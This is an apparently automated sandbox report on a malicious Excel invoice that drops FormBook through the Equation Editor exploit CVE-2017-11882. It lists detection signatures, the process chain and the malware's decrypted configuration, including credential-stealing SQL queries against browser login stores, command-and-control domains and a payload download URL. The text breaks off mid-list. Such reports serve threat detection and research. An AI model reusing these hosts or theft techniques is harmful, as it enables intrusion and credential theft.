Play interactive tour

Edit tour

Analysis Report 0113 INV_PAK.xlsx

Overview

General Information

Sample Name:	0113 INV_PAK.xlsx
Analysis ID:	344804
MD5:	2fd9077e801ebc26d370c3b6798dd9c4
SHA1:	5638f179b275bc14326c54bb2ffc038975a8288f
SHA256:	1386b172ed5a75548288ebf6277603a5743dfc2cd42d6de3a57ff1418f7c0fb8
Tags:	VelvetSweatshopxlsx
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM_3

Yara detected FormBook

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 1476 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 1604 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2692 cmdline: 'C:\Users\Public\vbc.exe' MD5: 2B72BC4BA9645AF5482661C5D1D1C7F8)

vbc.exe (PID: 2792 cmdline: C:\Users\Public\vbc.exe MD5: 2B72BC4BA9645AF5482661C5D1D1C7F8)

explorer.exe (PID: 1388 cmdline: MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

help.exe (PID: 2828 cmdline: C:\Windows\SysWOW64\help.exe MD5: 0F488C73AA50C2FC1361F19E8FC19926)

cmd.exe (PID: 2768 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Configuration

Threatname: FormBook

{"Config: ": ["CONFIG_PATTERNS 0x79e0", "KEY1_OFFSET 0x1bbfe", "CONFIG SIZE : 0xc1", "CONFIG OFFSET 0x1bc5a", "URL SIZE : 24", "searching string pattern", "strings_offset 0x1a6a3", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x9ec330a", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d70d3", "0x9f715026", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad012172", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd014c1", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0xc72ce2d5", "0x263178b", "0x57585356", "0x9cb95240", "0xcc39fef", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xc30c49a6", "0xcb591d7f", "0x5c4ee455", "0x7c81c71d", "0x11c6f95e", "--------------------------------------------------", "Decrypted Strings", "--------------------------------------------------", "USERNAME", "LOCALAPPDATA", "USERPROFILE", "APPDATA", "TEMP", "ProgramFiles", "CommonProgramFiles", "ALLUSERSPROFILE", "/c copy \"", "/c del \"", "\\Run", "\\Policies", "\\Explorer", "\\Registry\\User", "\\Registry\\Machine", "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "Office\\15.0\\Outlook\\Profiles\\Outlook\\", " NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", "\\SOFTWARE\\Mozilla\\Mozilla ", "\\Mozilla", "Username: ", "Password: ", "formSubmitURL", "usernameField", "encryptedUsername", "encryptedPassword", "\\logins.json", "\\signons.sqlite", "\\Mail\\", "\\Foxmail", "\\Storage\\", "\\Accounts\\Account.rec0", "\\Data\\AccCfg\\Accounts.tdat", "\\Microsoft\\Vault\\", "SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins", "\\Google\\Chrome\\User Data\\Default\\Login Data", "SELECT origin_url, username_value, password_value FROM logins", ".exe", ".com", ".scr", ".pif", ".cmd", ".bat", "ms", "win", "gdi", "mfc", "vga", "igfx", "user", "help", "config", "update", "regsvc", "chkdsk", "systray", "audiodg", "certmgr", "autochk", "taskhost", "colorcpl", "services", "IconCache", "ThumbCache", "Cookies", "SeDebugPrivilege", "SeShutdownPrivilege", "\\BaseNamedObjects", "config.php", "POST ", " HTTP/1.1", "", "Host: ", "", "Connection: close", "", "Content-Length: ", "", "Cache-Control: no-cache", "", "Origin: http://", "", "User-Agent: Mozilla Firefox/4.0", "", "Content-Type: application/x-www-form-urlencoded", "", "Accept: */*", "", "Referer: http://", "", "Accept-Language: en-US", "", "Accept-Encoding: gzip, deflate", "", "dat=", "f-start", "calusaptamiami.com", "starlinkwebservices.com", "lakeviewbarbershonola.com", "oaklandraidersjerseyspop.com", "ohiotechreport.com", "eligetucafetera.com", "tu4343.com", "abstract-elearning.com", "thebabylashes.com", "athleteshive.com", "fanninhomesforless.com", "sembracna.com", "servicesyn.com", "bellairechoice.com", "tmpaas.com", "eyepaa.com", "stickerzblvd.com", "rentfs.com", "nadya-shanab.com", "microwgreens.net", "overnaut.net", "edwinstowingservices.com", "bonus189.space", "xn--wgbp0b73b.com", "trijjadigital.com", "libraspeed.com", "theofficialtoluwani.com", "podborauto.pro", "qyhualin.com", "prayerswithmary.com", "donboscohistorycorner.com", "enlightenedsoil.com", "osteopathegagny.com", "lookingglassland.com", "maglex.info", "foxandgraceboutique.com", "yourinfluencecoach.com", "com-cancel-payment-id655.com", "ppspiaggio.com", "dbsadv.com", "teamworkdash.com", "washington-election-2020.info", "creativehighagency.com", "artisthenewmeditation.com", "qsgasia.com", "unseen-vision.com", "beepybox.online", "shaffglowing.com", "teacher-retirement-info.info", "muabandatdonganh.com", "shuhan.design", "5200853.com", "shengmixiaoji.net", "spiderofthesea.com", "scionoflewisville.com", "tpcvirtual.com", "zhjiaxiang.com", "thefanexam.com", "kimscraftyresale.com", "housvest.com", "bukmyhotel.com", "lacaverne.ovh", "investorspredict.com", "quicklogosireland.com", "f-end", "--------------------------------------------------", "Decrypted CnC URL", "--------------------------------------------------", "www.inreachpt.com/gqx2/\u0000"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x294af8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x294e92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2bbf18:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2bc2b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2a0ba5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2c7fc5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2a0691:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2c7ab1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2a0ca7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x2c80c7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x2a0e1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x2c823f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x2958aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x2bccca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x29f90c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x2c6d2c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x296622:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x2bda42:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x2a5c97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2cd0b7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2a6d3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x2a2bc9:$sqlite3step: 68 34 1C 7B E1 0x2a2cdc:$sqlite3step: 68 34 1C 7B E1 0x2c9fe9:$sqlite3step: 68 34 1C 7B E1 0x2ca0fc:$sqlite3step: 68 34 1C 7B E1 0x2a2bf8:$sqlite3text: 68 38 2A 90 C5 0x2a2d1d:$sqlite3text: 68 38 2A 90 C5 0x2ca018:$sqlite3text: 68 38 2A 90 C5 0x2ca13d:$sqlite3text: 68 38 2A 90 C5 0x2a2c0b:$sqlite3blob: 68 53 D8 7F 8C 0x2a2d33:$sqlite3blob: 68 53 D8 7F 8C 0x2ca02b:$sqlite3blob: 68 53 D8 7F 8C 0x2ca153:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: vbc.exe PID: 2692	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.vbc.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.vbc.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.vbc.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
5.2.vbc.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.vbc.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.vbc.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1604, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2692

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.141.138.125, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1604, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1604, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://sndychnesqudusissnvx.dns.army/documengt/svchost.exe

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 5.2.vbc.exe.400000.1.unpack

Malware Configuration Extractor: FormBook {"Config: ": ["CONFIG_PATTERNS 0x79e0", "KEY1_OFFSET 0x1bbfe", "CONFIG SIZE : 0xc1", "CONFIG OFFSET 0x1bc5a", "URL SIZE : 24", "searching string pattern", "strings_offset 0x1a6a3", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x9ec330a", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d70d3", "0x9f715026", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad012172", "0x6206e716", "0x5e4b9b9a", 